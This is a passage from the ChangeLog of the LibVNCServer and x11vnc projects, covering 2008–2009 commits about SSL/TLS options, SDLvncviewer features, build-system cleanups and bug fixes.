   3151 	x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h,
   3152 	x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c,
   3153 	x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h,
   3154 	x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h,
   3155 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c,
   3156 	x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c,
   3157 	x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h,
   3158 	x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h,
   3159 	x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h,
   3160 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   3161 	x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h,
   3162 	x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c,
   3163 	x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h,
   3164 	x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c,
   3165 	x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert
   3166 	x11vnc copyright and license notices.
   3167 
   3168 2009-03-14  runge <runge (a] karlrunge.com>
   3169 
   3170 	* x11vnc/README: Test git commit setting username & etc.
   3171 
   3172 2009-03-14  Karl J. Runge <runge (a] haystack.runge.home>
   3173 
   3174 	* x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c,
   3175 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for
   3176 	create_display.  Add FD_EXTRA finishing cmd.
   3177 
   3178 2009-03-13  runge <runge>
   3179 
   3180 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
   3181 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3182 	x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr
   3183 	copyrect.
   3184 
   3185 2009-03-12  dscho <dscho>
   3186 
   3187 	* ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer
   3188 	about scroll wheel events Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3189 
   3190 2009-03-12  dscho <dscho>
   3191 
   3192 	* client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong
   3193 	pointer type Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3194 
   3195 2009-03-08  dscho <dscho>
   3196 
   3197 	* ChangeLog, client_examples/Makefile.am,
   3198 	client_examples/SDLvncviewer.c, client_examples/scrap.c,
   3199 	client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3200 
   3201 2009-03-07  runge <runge>
   3202 
   3203 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3204 	x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am,
   3205 	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
   3206 	x11vnc/misc/turbovnc/convert,
   3207 	x11vnc/misc/turbovnc/convert_rfbserver,
   3208 	x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c,
   3209 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
   3210 	x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range
   3211 	for X11VNC_SKIP_DISPLAY, document grab Xserver issue.  Add
   3212 	progress_client() to proceed more quickly thru handshake.
   3213 	Improvements to turbovnc hack.
   3214 
   3215 2009-03-07  dscho <dscho>
   3216 
   3217 	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
   3218 	upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer
   3219 	would get the "down" event, but not the "up" event.  This patch
   3220 	provides a workaround.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3221 
   3222 2009-03-07  dscho <dscho>
   3223 
   3224 	* client_examples/SDLvncviewer.c: SDLvncviewer: refactor event
   3225 	handling Instead of having deep indent levels, put the code to handle events
   3226 	into its own function.  That also helps readability.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3227 
   3228 2009-03-07  dscho <dscho>
   3229 
   3230 	* TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3231 
   3232 2009-03-07  dscho <dscho>
   3233 
   3234 	* ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to
   3235 	be resizable Using "SDLvncviewer -resizable", you make the window resizable.
   3236 	This means that you can shrink the window (e.g. when you are trying
   3237 	to access an x11vnc from your little netbook), or you can enlarge
   3238 	it.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3239 
   3240 2009-03-06  dscho <dscho>
   3241 
   3242 	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer:
   3243 	enable key repeat Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3244 
   3245 2009-02-28  runge <runge>
   3246 
   3247 	* configure.ac, x11vnc/ChangeLog, x11vnc/README,
   3248 	x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am,
   3249 	x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc,
   3250 	x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c,
   3251 	x11vnc/misc/turbovnc/turbojpeg.h,
   3252 	x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment
   3253 	with turbovnc.
   3254 
   3255 2009-02-26  runge <runge>
   3256 
   3257 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c,
   3258 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
   3259 	x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in
   3260 	tkx11vnc.
   3261 
   3262 2009-02-22  runge <runge>
   3263 
   3264 	* x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: 
   3265 	fix some compiler warnings.
   3266 
   3267 2009-02-22  runge <runge>
   3268 
   3269 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1,
   3270 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option
   3271 	for future use.
   3272 
   3273 2009-02-04  runge <runge>
   3274 
   3275 	* classes/ssl/README,
   3276 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   3277 	x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c,
   3278 	x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c,
   3279 	x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c,
   3280 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3281 	x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell"
   3282 	remote cmd.  Fix copyrect updates under -reflect.  Workaround that
   3283 	checks valid window of selection requestor.  Wait on some ssl helper
   3284 	pids earlier.  Workaround XAUTHLOCALHOSTNAME for some new usage
   3285 	modes.  Set fake fb to requested bpp with correct masks.  -padgeom
   3286 	once:... mode.  Set LIBXCB_ALLOW_SLOPPY_LOCK by default.
   3287 	rfbRandomBytes earlier.  classes/ssl: Update jars.  Add "TOP_"
   3288 	dropdown customization to ultravnc java viewer applet FTP panel.
   3289 
   3290 2009-02-03  dscho <dscho>
   3291 
   3292 	* test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs
   3293 	that are only compiled when someone actually runs `make check`.  Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by:
   3294 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3295 
   3296 2009-02-03  dscho <dscho>
   3297 
   3298 	* ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3299 
   3300 2009-02-03  dscho <dscho>
   3301 
   3302 	* Makefile.am, client_examples/Makefile.am, configure.ac,
   3303 	contrib/Makefile.am, examples/Makefile.am,
   3304 	libvncclient/Makefile.am, libvncserver/Makefile.am,
   3305 	test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up
   3306 	build flags The flag handling (both compiler options and include paths) are a
   3307 	mess at the moment.  There is no point in forcing "-O2 -g" when
   3308 	these are already the defaults, and if someone changes the defaults,
   3309 	chances are good they don't want you clobbering their choices.  The -Wall flag should be handled in configure and thrown into CFLAGS
   3310 	once rather than every Makefile.am.  Plus, this way we can control
   3311 	which compilers the flag actually gets used with.  Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS.  Nor
   3312 	should it contain -I. as this is already in the default includes
   3313 	setup.  Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by:
   3314 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3315 
   3316 2009-02-03  dscho <dscho>
   3317 
   3318 	* configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name.  Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by:
   3319 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3320 
   3321 2009-02-03  dscho <dscho>
   3322 
   3323 	* configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless
   3324 	the macro AM_PROG_CC_C_O is set in configure.ac.  [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it
   3325 	 should be safe.] Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by:
   3326 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3327 
   3328 2009-02-03  dscho <dscho>
   3329 
   3330 	* autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running.
   3331 	Otherwise, errors in say a Makefile.am will be missed as the
   3332 	automake failure gets ignored and then lost in the noise.  Signed-off-by: Mike Frysinger <vapier (a] gentoo.org> Signed-off-by:
   3333 	Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3334 
   3335 2009-01-12  runge <runge>
   3336 
   3337 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3338 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3339 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3340 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3341 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   3342 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3343 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   3344 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3345 	ll.patch: SSVNC 1.0.22 release (+ a little bit more).  crl lists,
   3346 	ssh pid finding improvements, and more.
   3347 
   3348 2009-01-12  runge <runge>
   3349 
   3350 	* CMakeLists.txt, ChangeLog, configure.ac: configure.ac,
   3351 	CMakeLists.txt: set LibVNCServer version to 0.9.7
   3352 
   3353 2009-01-12  runge <runge>
   3354 
   3355 	* classes/ssl/README, classes/ssl/ss_vncviewer,
   3356 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   3357 	x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3358 	x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java
   3359 	applet Filexfer Drives drop down (e.g.
   3360 	ftpDropDown=Home.Desktop.bin).  Document all applet parameters in
   3361 	classes/ssl/README.
   3362 
   3363 2009-01-11  runge <runge>
   3364 
   3365 	* ChangeLog: Forgot ChangeLog
   3366 
   3367 2009-01-11  runge <runge>
   3368 
   3369 	* prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and
   3370 	DIST_SUBDRIS when using --with-system-libvncserver
   3371 
   3372 2009-01-10  runge <runge>
   3373 
   3374 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c,
   3375 	x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
   3376 	x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24
   3377 	due to nonstandard indexed color support changes.  Fix small window
   3378 	for failure after XSendEvent selection call; add env var.
   3379 	X11VNC_SENDEVENT_SYNC=1 to take even more care.
   3380 
   3381 2009-01-04  runge <runge>
   3382 
   3383 	* x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c,
   3384 	x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h,
   3385 	x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
   3386 	x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix
   3387 	compiler warnings.
   3388 
   3389 2009-01-04  runge <runge>
   3390 
   3391 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   3392 	x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c,
   3393 	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   3394 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   3395 	x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3396 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc:
   3397 	add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb,
   3398 	find /dev/video better. Fix reverse SSL connection for DH.  Some
   3399 	improvements for CUPS TS helper, restart if needed.
   3400 
   3401 2009-01-04  runge <runge>
   3402 
   3403 	* configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include
   3404 	file file for libXrandr on Solaris.  prepare_x11vnc_dist.sh: set
   3405 	version to 0.9.7
   3406 
   3407 2008-12-10  runge <runge>
   3408 
   3409 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3410 	x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h,
   3411 	x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h,
   3412 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
   3413 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1,
   3414 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release.  Some
   3415 	strtok bugfixes. rename -tlsvnc to -anontls.  Disable ssl caching.
   3416 	No cert creation prompting in inetd or bg modes.  waitpid a bit more
   3417 	carefully on ssl helpers.  Tune ssl initial timeouts.  Let -create
   3418 	user specify starting X display.  fix -rfbport prompt gui for older
   3419 	tk.  -sslonly option. Error if no -ssl with related options. -rand
   3420 	option.  -ssl implies -ssl SAVE
   3421 
   3422 2008-11-22  runge <runge>
   3423 
   3424 	* classes/ssl/ss_vncviewer: Update ss_vncviewer...
   3425 
   3426 2008-11-22  runge <runge>
   3427 
   3428 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   3429 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3430 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3431 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3432 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3433 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   3434 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   3435 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa
   3436 	tch,
   3437 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3438 	ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC
   3439 	  sync: stunnel upgrade and patch, change wish order, -anondh -ciphers
   3440 	  option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer).
   3441 	  Help text tweaks -killstunnel, s_client fixes, No Encryption easier.
   3442 	  Zeroconf/avahi support.  tk font fixes. SSVNC_ULTRA_FTP_JAR finding
   3443 	  SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION,
   3444 	SSVNC_SET_SECURITY_TYPE, etc hacks.
   3445 
   3446 2008-11-22  runge <runge>
   3447 
   3448 	* x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
   3449 	x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c,
   3450 	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
   3451 	x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c,
   3452 	x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h,
   3453 	x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
   3454 	x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c,
   3455 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop,
   3456 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
   3457 	x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c,
   3458 	x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file.
   3459 	  -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT
   3460 	  VeNCrypt and TLSVNC SSL/TLS encryption support.  Tweaks to
   3461 	  choose_delay() algorithm.  -ssl ANON anonymouse Diffie-Hellman mode.
   3462 	  Fix bugs in certs management.  Additions to tray=setpass naive user
   3463 	mode.
   3464 
   3465 2008-11-05  runge <runge>
   3466 
   3467 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c,
   3468 	x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c,
   3469 	x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c,
   3470 	x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c,
   3471 	x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
   3472 	x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c,
   3473 	x11vnc/xevents.c: x11vnc: add zeroconf external helpers
   3474 	(avahi-publish and dns-sd).  Alias -zeroconf.  Close pipeinput_fh on
   3475 	exit.  Kludge to make -solid work on MacOSX console.  Attempt at cpp
   3476 	macros to disable newer libvncserver interfaces.
   3477 
   3478 2008-11-05  runge <runge>
   3479 
   3480 	* configure.ac: Tweak messages.  Add shmat for --without-x building.
   3481 
   3482 2008-10-30  runge <runge>
   3483 
   3484 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   3485 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3486 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3487 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3488 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3489 	ll.patch: synchronize ssvnc
   3490 
   3491 2008-10-29  runge <runge>
   3492 
   3493 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   3494 	x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c,
   3495 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
   3496 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc:
   3497 	-http_oneport for single port HTTP and VNC. Improve find_display wrt
   3498 	lsof blocking with -b.
   3499 
   3500 2008-10-19  runge <runge>
   3501 
   3502 	*
   3503 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
   3504 	viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3505 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3506 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3507 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3508 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   3509 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3510 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   3511 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3512 	ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling,
   3513 	-chatonly, iso-8859-1/utf8 etc., etc.
   3514 
   3515 2008-10-19  runge <runge>
   3516 
   3517 	* classes/ssl/ss_vncviewer,
   3518 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC
   3519 	viewer jars and patch file.
   3520 
   3521 2008-10-19  runge <runge>
   3522 
   3523 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
   3524 	x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h,
   3525 	x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
   3526 	x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h,
   3527 	x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
   3528 	x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c,
   3529 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c,
   3530 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3531 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   3532 	x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h,
   3533 	x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc:
   3534 	-chatwindow, -scale WxH, -enc changes.
   3535 
   3536 2008-09-21  runge <runge>
   3537 
   3538 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am,
   3539 	x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c,
   3540 	x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   3541 	x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc,
   3542 	x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3543 	x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc
   3544 	cipher:keyfile, works with SSVNC.  Make -remap work on MacOSX
   3545 	console.  update to 0.9.5 strings.  Add a couple menu items to
   3546 	tkx11vnc.
   3547 
   3548 2008-09-17  runge <runge>
   3549 
   3550 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3551 	x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1,
   3552 	x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode.
   3553 
   3554 2008-09-14  runge <runge>
   3555 
   3556 	* classes/ssl/ss_vncviewer,
   3557 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   3558 	x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c,
   3559 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   3560 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3561 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3562 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   3563 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3564 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   3565 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3566 	ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
   3567 	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
   3568 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
   3569 	-sleepin m-n for random sleep. More mktemp and mkstemp protections.
   3570 	SSL_INIT_TIMEOUT=n env. var.  Fix macosx console X call bug.
   3571 	Synchronize other projects sources.
   3572 
   3573 2008-09-07  runge <runge>
   3574 
   3575 	* classes/ssl/ss_vncviewer,
   3576 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c,
   3577 	x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3578 	x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c,
   3579 	x11vnc/macosxCG.c, x11vnc/macosxCG.h,
   3580 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   3581 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat,
   3582 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat,
   3583 	x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc,
   3584 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3585 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3586 	x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc,
   3587 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3588 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3589 	x11vnc/misc/enhanced_tightvnc_viewer/build.unix,
   3590 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1,
   3591 	x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1,
   3592 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches,
   3593 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3594 	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c,
   3595 	x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h,
   3596 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
   3597 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3598 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   3599 	x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill
   3600 	   gui_pid on exit in -connect/-connect_or_exit mode.  -grablocal n
   3601 	   experiment (not compiled by default).  -macuskbd option for macosx
   3602 	   for orig uskdb code. keycode=N remote contol cmd.  Find dpy look at
   3603 	   non-NFS cookies in /tmp.  Fix gui tray insertion on recent gnome dt.
   3604 	Fix connect_file bug. Sync SSVNC
   3605 
   3606 2008-06-24  runge <runge>
   3607 
   3608 	* libvncserver/rfbserver.c: We seem to need to guard against freeing
   3609 	iterator 'i' twice in rfbSendFramebufferUpdate()  (italc reported
   3610 	bug)
   3611 
   3612 2008-06-07  runge <runge>
   3613 
   3614 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c,
   3615 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   3616 	x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM
   3617 	          for HP-UX.  Print info on SSH_CONNECTION override.
   3618 
   3619 2008-06-03  dscho <dscho>
   3620 
   3621 	* ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update
   3622 	screen correctly after a resize Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3623 
   3624 2008-06-03  runge <runge>
   3625 
   3626 	* configure.ac: Enable --with-ssl=DIR option.
   3627 
   3628 2008-06-01  runge <runge>
   3629 
   3630 	* x11vnc/README, x11vnc/options.c, x11vnc/options.h,
   3631 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc:
   3632 	lower waitms and defer if framebuffer reads are fast (> 100MB/s)
   3633 
   3634 2008-06-01  runge <runge>
   3635 
   3636 	* x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README,
   3637 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
   3638 	x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h,
   3639 	x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c,
   3640 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c,
   3641 	x11vnc/xinerama.c: x11vnc: support colormaps for depths other than
   3642 	8.  xinerama warppointer only if more than one subscreen.
   3643 
   3644 2008-05-31  dscho <dscho>
   3645 
   3646 	* .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3647 
   3648 2008-05-31  dscho <dscho>
   3649 
